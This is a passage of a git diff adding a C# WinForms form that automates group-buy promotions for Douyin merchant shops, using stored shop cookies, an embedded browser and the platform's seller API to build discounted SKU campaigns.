nudDiscountValue.DecimalPlaces = 1; + nudDiscountValue.Value = 9.9m; + } + else if (cmbDiscountType.Text == "直降") + { + nudDiscountValue.Maximum = 10000m; + nudDiscountValue.Minimum = 0.00m; + nudDiscountValue.Increment = 1m; + nudDiscountValue.DecimalPlaces = 2; + nudDiscountValue.Value = 1m; + } + else if (cmbDiscountType.Text == "一口价") + { + BaseMsgForm.ShowInfo("确定所有商品及Sku价格都按照统一价格设置,请谨慎操作!"); + nudDiscountValue.Maximum = 10000m; + nudDiscountValue.Minimum = 0.00m; + nudDiscountValue.Increment = 1m; + nudDiscountValue.DecimalPlaces = 2; + nudDiscountValue.Value = 100m; + } + } + + private void cmbStockType_SelectedIndexChanged(object sender, EventArgs e) + { + if (cmbStockType.Text == "全部库存") + { + nudStockValue.Enabled = false; + nudStockValue.Value = 100; + nudStockValue.Width = 48; + lblPercentSign.Visible = true; + } + else if (cmbStockType.Text == "百分比库存") + { + nudStockValue.Enabled = true; + nudStockValue.Maximum = 100m; + nudStockValue.Minimum = 1m; + nudStockValue.Increment = 1m; + nudStockValue.DecimalPlaces = 0; + nudStockValue.Value = 50m; + nudStockValue.Width = 48; + lblPercentSign.Visible = true; + } + else if (cmbStockType.Text == "统一库存") + { + nudStockValue.Enabled = true; + nudStockValue.Maximum = 10000m; + nudStockValue.Minimum = 1m; + nudStockValue.Increment = 1m; + nudStockValue.DecimalPlaces = 0; + nudStockValue.Value = 100m; + nudStockValue.Width = 65; + lblPercentSign.Visible = false; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + try + { + this.keywords = txtProductName.Text.Trim().Split(new string[] { "\r", "\n", ",", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + this.filterWords = txtFilter.Text.Trim().Split(new string[] { "\r", "\n", ",", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + this.priceMin = txtPriceMin.Text.ParseToDecimal(); + this.priceMax = txtPriceMax.Text.ParseToDecimal(); + this.saleMin = txtSaleMin.Text.ParseToInt(); + this.saleMax = txtSaleMax.Text.ParseToInt(); + this.getPage = txtGetPage.Text.ParseToInt(); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("请正确填写搜索参数!"); + return; + } + + btnGetProduct.Enabled = false; + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + GroupBuyShopForm groupBuyShopForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var form = new GroupBuyShopForm(shop); + form.groupBuyForm = this; + form.TopLevel = false; + form.Left = 0; + form.Top = 0; + form.FormBorderStyle = FormBorderStyle.None; + form.AutoSize = true; + form.Dock = DockStyle.Fill; + form.Show(); + tab.Controls.Add(form); + } + + if (tab.Controls.Count > 0) + { + groupBuyShopForm = tab.Controls[0] as GroupBuyShopForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + + if (groupBuyShopForm != null) + { + groupBuyShopForm.InitGetProduct(); + GetProductByCef(shop); + } + } + Invoke(new Action(() => { btnGetProduct.Enabled = true; })); + }, cancellationTokenSource.Token); + } + + public void GetSales(DouShopLoginInfo shop, bool isSales = true) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + Helper.CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + this.splitContainer1.Panel2.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/ffa/g/list"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + if (!isSales) + { + Thread.Sleep(3000); + var jsStrBase = "function clickProductAnalysis(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_element';\r\n" + + "}\r\n"; + var jsStr = jsStrBase + "clickProductAnalysis('电商罗盘');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + + jsStr = jsStrBase + "clickProductAnalysis('商品概览');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + } + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + public void GetProductByCef(DouShopLoginInfo shop) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + CustomResourceRequestHandlerLocal resourceRequestHandler = new CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + this.splitContainer1.Panel2.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/ffa/g/list"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + if (url.StartsWith("https://fxg.jinritemai.com/product/tproduct/list?page=0") && url.Contains("&pay_type=")) + { + if (webBrowser.Tag != null) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + + Dictionary headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + headers[hk] = iRequest.Headers[hk]; + } + + Task.Run(() => + { + var cookies = CEFBrowser.GetCookie("", webBrowser.RequestContext.GetCookieManager(null)); + GroupBuyShopForm salesForm = null; + Invoke(new Action(() => + { + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + salesForm = tab.Controls[0] as GroupBuyShopForm; + })); + + if (salesForm != null) + salesForm.GetProductSim(listUrl, referrerUrl, headers, ""); + + Invoke(new Action(() => + { + webBrowser.Tag = null; + })); + Thread.Sleep(1000); + }); + } + } + } + + private void btnSetName_Click(object sender, EventArgs e) + { + GroupBuyCustomActivityNameForm customNameForm = new GroupBuyCustomActivityNameForm(); + customNameForm.ShowDialog(); + } + + private void label14_Click(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.SendToBack(); + } + } + + private void label14_DoubleClick(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.BringToFront(); + } + } + + private void btnStopGetProduct_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + webBrowser.Tag = null; + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + { + if (lstShopId.Any(p => p == shopId.ToString())) + lstShopId.RemoveAll(p => p == shopId.ToString()); + lstShopId.Add(shopId.ToString()); + } + else + lstShopId.Remove(shopId.ToString()); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void btnSetActivity_Click(object sender, EventArgs e) + { + // 每个活动商品数量 + var eachActivityProductNum = nudEachActivityProductNum.Text.ParseToInt(); + // 是否使用自定义活动名称 + var isUseCustomActivityNames = rbCustomNames.Checked; + // 自定义活动名称临时列表 + List customNamesTemp = new List(CustomActivityNames); + if (rbCustomNames.Checked && customNamesTemp.Count == 0) + { + BaseMsgForm.ShowInfo("请设置自定义活动名称!"); + return; + } + // 开始时间 + var startTime = dtpStartTime.Value.ToString("yyyy-MM-dd HH:mm:ss"); + // 结束时间 + var endTime = dtpEndTime.Value.ToString("yyyy-MM-dd HH:mm:ss"); + // 订单取消时间 + var orderExpireTime = cmbCancelTime.Text.Replace("分钟", "").ParseToInt() * 60; + // 成团数量 + var groupNum = nudGroupCount.Value.ToString(); + if (nudGroupCount.Value < 5) + { + nudGroupCount.Value = 5; + BaseMsgForm.ShowError("成团数量需大于等于5,已为您自动修改"); + return; + } + // 自动成团 + var autoGroup = this.chkAutoGroup.Checked ? "1" : "0"; + // 设置单个sku + var isSetSkuOption = this.chkSetSkuOption.Checked; + var skuOptionType = this.cmbSkuOptionType.Text; + // 库存类型 + var stockType = this.cmbStockType.Text; + // 库存数量 + var stockValue = nudStockValue.Text.ParseToInt(); + // 每人限购 + var userLimit = this.cmbLimitCount.Text.Replace("个", "").Replace("不限购", "0"); + // 折扣类型 + var discountType = this.cmbDiscountType.Text; + // 折扣数值 + var discountValue = this.nudDiscountValue.Text.ParseToDecimal(); + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ucTabControl1.TabPages["tab" + shopId] != null && ucTabControl1.TabPages["tab" + shopId].Controls.Count > 0) + { + var salesForm = ucTabControl1.TabPages["tab" + shopId].Controls[0] as GroupBuyShopForm; + if (salesForm == null) + continue; + + Invoke(new Action(() => + { + salesForm.statusBar.lblTaskStatus.Text = "正在创建拼团活动"; + })); + + List productIdList = salesForm.lstProductId; + if (productIdList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺 " + shop.ShopAccount + " 参加活动的商品!"); + continue; + } + else + { + List pIdListTemp = new List(); + for (int i = 0; i < productIdList.Count; i++) + { + var pid = productIdList[i]; + pIdListTemp.Add(pid); + if ((i + 1) % eachActivityProductNum == 0 || i == productIdList.Count - 1) + { + var pIdsStrTemp = "\"" + string.Join("\",\"", pIdListTemp) + "\""; + pIdListTemp.Clear(); + + #region 获取活动商品的所有Sku + string pIdData = @"{ ""product_ids"":[" + pIdsStrTemp + "]}"; + var cookies = shop.Cookies; + var result = salesForm.GetSkusByProductIds(pIdData, cookies); + #endregion + + #region 生成活动名称 + string activityId = Math.Ceiling((i + 1m) / eachActivityProductNum).ToString(); + activityId = activityId.Replace("1", "一").Replace("2", "二").Replace("3", "三").Replace("4", "四").Replace("5", "五"); + activityId = activityId.Replace("6", "六").Replace("7", "七").Replace("8", "八").Replace("9", "九").Replace("0", "零"); + var actvityName = "活动" + activityId; + + #region 自定义活动 + if (isUseCustomActivityNames) + { + if (customNamesTemp != null && customNamesTemp.Count > 0) + { + actvityName = customNamesTemp[0]; + customNamesTemp.RemoveAt(0); + } + else + { + Invoke(new Action(() => { salesForm.ShowVisitorMessage("活动创建中断,自定义名称活动数量不足!"); })); + break; + } + } + #endregion + #endregion + + //string postData = "{\"stype\":\"120\",\"title\":\"活动一\", + //\"begin_time\":\"2022-06-23 13:49:54\",\"end_time\":\"2022-06-24 13:49:54\",\"order_expire_time\":\"300\", + //\"group_num\":\"9\",\"auto_group\":\"1\",\"promotion_goods\":[ + //{\"product_id\":\"3556136493124815095\",\"promotion_skus\":[ + // {\"camp_stock_num\":\"33\",\"id\":\"1736394771542030\",\"price\":\"27100\",\"user_limit\":\"19\",\"spec_detail_id1\":\"1736394770390024\",\"spec_detail_id2\":\"1736394770391096\",\"spec_detail_id3\":\"0\"},{\"camp_stock_num\":\"44\",\"id\":\"1736394771275831\",\"price\":\"26100\",\"user_limit\":\"14\",\"spec_detail_id1\":\"1736394770390024\",\"spec_detail_id2\":\"1736394770391080\",\"spec_detail_id3\":\"0\"}]},{\"product_id\":\"3554645628321712559\",\"promotion_skus\":[{\"camp_stock_num\":\"11\",\"id\":\"1735666808135704\",\"price\":\"3700\",\"user_limit\":\"0\",\"spec_detail_id1\":\"1735666809832616\",\"spec_detail_id2\":\"0\",\"spec_detail_id3\":\"0\"},{\"camp_stock_num\":\"22\",\"id\":\"1735666808135688\",\"price\":\"4100\",\"user_limit\":\"0\",\"spec_detail_id1\":\"1735666809832600\",\"spec_detail_id2\":\"0\",\"spec_detail_id3\":\"0\"}]}]}"; + var postData = "{\"stype\":\"120\",\"title\":\"" + actvityName + "\"," + + "\"begin_time\":\"" + startTime + "\",\"end_time\":\"" + endTime + "\",\"order_expire_time\":\"" + orderExpireTime + "\"," + + "\"group_num\":\"" + groupNum + "\",\"auto_group\":\"" + autoGroup + "\",\"promotion_goods\":["; + + JObject jObj = JObject.Parse(result); + foreach (JProperty jProp in jObj["data"]) + { + var id = jProp.Name; + DouProductPromotionListInfo info = salesForm.productList.FirstOrDefault(q => q.product_id == id); + if (info != null) + { + postData = postData + "{\"product_id\":\"" + id + "\",\"promotion_skus\":["; + if (isSetSkuOption) + { + JArray arr = jObj["data"][id] as JArray; + var objs = new List() { arr.FirstOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最后一个") + objs = new List() { arr.LastOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最贵") + objs = new List() { arr.OrderBy(o => o["origin_price"]).LastOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "最便宜") + objs = new List() { arr.OrderBy(o => o["origin_price"]).FirstOrDefault(o => o["stock"]?.ParseToInt() > 0) }; + if (skuOptionType == "不设置最便宜") + { + objs = arr.OrderBy(o => o["origin_price"]).Skip(1).ToList(); + } + if (skuOptionType == "不设置最贵") + { + objs = arr.OrderBy(o => o["origin_price"]).Take(objs.Count).ToList(); + } + foreach (var obj in objs) + { + var totalStock = obj["stock"].ParseToInt(); + var stock = totalStock; + if (stockType == "百分比库存") + { + stock = stockValue * totalStock / 100; + } + else if (stockType == "统一库存") + { + stock = stockValue; + } + if (stock <= groupNum.ParseToInt()) + stock = groupNum.ParseToInt(); + if (stock > totalStock) + stock = totalStock; + if (stock < 5) // 跳过库存不足的sku + continue; + + var newPrice = obj["origin_price"].ParseToInt() * discountValue / 10; // 打折 + if (discountType == "直降") + { + newPrice = obj["origin_price"].ParseToInt() - discountValue * 100; + } + else if (discountType == "一口价") + { + newPrice = discountValue * 100; + } + postData = postData + "{\"camp_stock_num\":\"" + stock + + "\",\"id\":\"" + obj["id"] + "\",\"price\":\"" + (int)newPrice + + "\",\"user_limit\":\"" + userLimit + "\",\"spec_detail_id1\":\"" + obj["spec_detail_id1"] + + "\",\"spec_detail_id2\":\"" + obj["spec_detail_id2"] + "\",\"spec_detail_id3\":\"" + obj["spec_detail_id3"] + "\"},"; + } + } + else + { + JArray arr = jObj["data"][id] as JArray; + foreach (JObject obj in arr) + { + var totalStock = obj["stock"].ParseToInt(); + var stock = totalStock; + if (stockType == "百分比库存") + { + stock = stockValue * totalStock / 100; + } + else if (stockType == "统一库存") + { + stock = stockValue; + } + if (stock <= groupNum.ParseToInt()) + stock = groupNum.ParseToInt(); + if (stock > totalStock) + stock = totalStock; + if (stock < 5) // 跳过库存不足的sku + continue; + + var newPrice = obj["origin_price"].ParseToInt() * discountValue / 10; // 打折 + if (discountType == "直降") + { + newPrice = obj["origin_price"].ParseToInt() - discountValue * 100; + } + else if (discountType == "一口价") + { + newPrice = discountValue * 100; + } + postData = postData + "{\"camp_stock_num\":\"" + stock + + "\",\"id\":\"" + obj["id"] + "\",\"price\":\"" + (int)newPrice + + "\",\"user_limit\":\"" + userLimit + "\",\"spec_detail_id1\":\"" + obj["spec_detail_id1"] + + "\",\"spec_detail_id2\":\"" + obj["spec_detail_id2"] + "\",\"spec_detail_id3\":\"" + obj["spec_detail_id3"] + "\"},"; + } + } + postData = postData.TrimEnd(',') + "]},"; + } + } + postData = postData.TrimEnd(',') + "]}"; + + string checkPro = salesForm.checkGroupBuyGoods(postData, cookies); + if (checkPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + string createPro = salesForm.createGroupBuyGoods(postData, cookies); + if (createPro.Contains("{\"st\":0,\"msg\":\"\",\"code\":0,")) + { + Invoke(new Action(() => { salesForm.ShowVisitorMessage("活动 " + actvityName + " 创建成功!", pIdsStrTemp); })); + } + else + { + Invoke(new Action(() => { salesForm.ShowVisitorMessage(actvityName + "拼团创建失败!原因:" + BaseRegex.GetStringJson(ref createPro, "msg"), pIdsStrTemp); })); + } + } + else + { + Invoke(new Action(() => { salesForm.ShowVisitorMessage(actvityName + "拼团创建失败!原因:" + BaseRegex.GetStringJson(ref checkPro, "msg"), pIdsStrTemp); })); + } + Thread.Sleep(Randomx.GetId(1500, 3500)); + } + } + } + Invoke(new Action(() => { salesForm.statusBar.lblTaskStatus.Text = "创建拼团活动完成"; })); + } + } + }, cancellationTokenSource.Token); + } + + private void dtpStartTime_ValueChanged(object sender, EventArgs e) + { + if (dtpEndTime.Value > dtpStartTime.Value.AddDays(1) || dtpEndTime.Value <= dtpStartTime.Value) + dtpEndTime.Value = dtpStartTime.Value.AddDays(1); + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("确定要清空结果吗?清空后需要重新获取!").DialogResult == DialogResult.OK) + { + foreach (TabPage tp in ucTabControl1.TabPages) + { + if (tp.Controls.Count > 0) + { + if (tp.Text.Contains("活动管理")) + { + //var managerActiveForm = tp.Controls[0] as LimitedSalesManagerActiveForm; + //if (managerActiveForm != null) + // managerActiveForm.ClearData(); + //if (splitContainer4.Panel1.Controls.Count == 2) + // splitContainer4.Panel1.Controls.RemoveAt(1); + } + else + { + var salesForm = tp.Controls[0] as GroupBuyShopForm; + if (salesForm != null) + salesForm.ClearData(); + } + } + } + } + } + + private void btnStopOperate_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + webBrowser.Tag = null; + } + + private void pbPaste1_Click(object sender, EventArgs e) + { + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtProductName.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void pbPaste2_Click(object sender, EventArgs e) + { + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtFilter.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void nudGroupCount_ValueChanged(object sender, EventArgs e) + { + } + + List keyList = new List(); + private void nudGroupCount_KeyDown(object sender, KeyEventArgs e) + { + var x = nudGroupCount.Value; + //if (e.KeyData == (Keys.Alt | Keys.Add)) + //{ + // this.nudGroupCount.Maximum = 10000m; + //} + + if (keyList.LastOrDefault() != e.KeyData) + keyList.Clear(); + + keyList.Add(e.KeyData); + + if (keyList.Count >= 5 && e.KeyData == (Keys.Menu | Keys.Alt)) + this.nudGroupCount.Maximum = 10000m; + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.Designer.cs new file mode 100644 index 0000000..bd9bab9 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyMonitorForm.Designer.cs @@ -0,0 +1,906 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class GroupBuyMonitorForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.label2 = new System.Windows.Forms.Label(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); + this.label1 = new System.Windows.Forms.Label(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.cmbSkuOptionType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.第一个 = new DevComponents.Editors.ComboItem(); + this.最后一个 = new DevComponents.Editors.ComboItem(); + this.最便宜 = new DevComponents.Editors.ComboItem(); + this.最贵 = new DevComponents.Editors.ComboItem(); + this.不设置最便宜 = new DevComponents.Editors.ComboItem(); + this.不设置最贵 = new DevComponents.Editors.ComboItem(); + this.lblPercentSign = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.nudEachActivityProductNum = new System.Windows.Forms.NumericUpDown(); + this.label8 = new System.Windows.Forms.Label(); + this.nudStockValue = new System.Windows.Forms.NumericUpDown(); + this.cmbDiscountType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.打折 = new DevComponents.Editors.ComboItem(); + this.直降 = new DevComponents.Editors.ComboItem(); + this.一口价 = new DevComponents.Editors.ComboItem(); + this.cmbStockType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.全部库存 = new DevComponents.Editors.ComboItem(); + this.百分比库存 = new DevComponents.Editors.ComboItem(); + this.统一库存 = new DevComponents.Editors.ComboItem(); + this.label5 = new System.Windows.Forms.Label(); + this.cmbLimitCount = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.不限购 = new DevComponents.Editors.ComboItem(); + this.label7 = new System.Windows.Forms.Label(); + this.nudDiscountValue = new System.Windows.Forms.NumericUpDown(); + this.label17 = new System.Windows.Forms.Label(); + this.nudGroupCount = new System.Windows.Forms.NumericUpDown(); + this.label11 = new System.Windows.Forms.Label(); + this.btnSetActivity = new DevComponents.DotNetBar.PanelEx(); + this.btnStopOperate = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudEachActivityProductNum)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudDiscountValue)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).BeginInit(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + 